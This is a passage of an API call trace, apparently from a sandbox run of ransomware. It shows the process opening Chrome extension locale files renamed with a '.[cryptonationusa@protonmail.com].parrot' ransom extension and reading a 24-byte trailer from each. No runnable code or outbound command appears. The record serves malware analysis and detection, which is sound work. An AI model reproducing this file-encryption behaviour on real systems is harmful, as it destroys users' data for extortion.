0x23c [0094.625] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.625] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.625] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.625] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.626] CloseHandle (hObject=0x23c) returned 1 [0094.626] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.627] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.627] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.627] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.627] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.627] CloseHandle (hObject=0x23c) returned 1 [0094.628] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.628] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.628] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.628] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.628] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.629] CloseHandle (hObject=0x23c) returned 1 [0094.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.629] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.629] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.629] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.629] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.630] CloseHandle (hObject=0x23c) returned 1 [0094.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.643] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.643] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.643] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.643] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.644] CloseHandle (hObject=0x23c) returned 1 [0094.644] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.644] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.644] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.644] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.645] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.645] CloseHandle (hObject=0x23c) returned 1 [0094.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.646] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.646] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.646] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.646] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.647] CloseHandle (hObject=0x23c) returned 1 [0094.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.647] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.647] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.647] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.647] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.648] CloseHandle (hObject=0x23c) returned 1 [0094.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.648] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.649] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.649] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.649] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.650] CloseHandle (hObject=0x23c) returned 1 [0094.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.650] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1b8 [0094.650] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.650] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.650] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.651] CloseHandle (hObject=0x23c) returned 1 [0094.651] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.651] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.651] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.651] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.651] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.652] CloseHandle (hObject=0x23c) returned 1 [0094.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.652] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.653] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.653] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.653] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.653] CloseHandle (hObject=0x23c) returned 1 [0094.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.654] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.654] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.654] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.654] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.655] CloseHandle (hObject=0x23c) returned 1 [0094.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.655] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.655] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.655] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.655] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.656] CloseHandle (hObject=0x23c) returned 1 [0094.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.656] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.656] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.656] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.656] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.657] CloseHandle (hObject=0x23c) returned 1 [0094.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.657] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.658] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.658] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.658] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.658] CloseHandle (hObject=0x23c) returned 1 [0094.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.659] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.659] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.659] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.659] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.660] CloseHandle (hObject=0x23c) returned 1 [0094.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.660] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.660] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.660] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.660] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.661] CloseHandle (hObject=0x23c) returned 1 [0094.661] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.662] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.662] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.662] SetFilePointerEx (in: 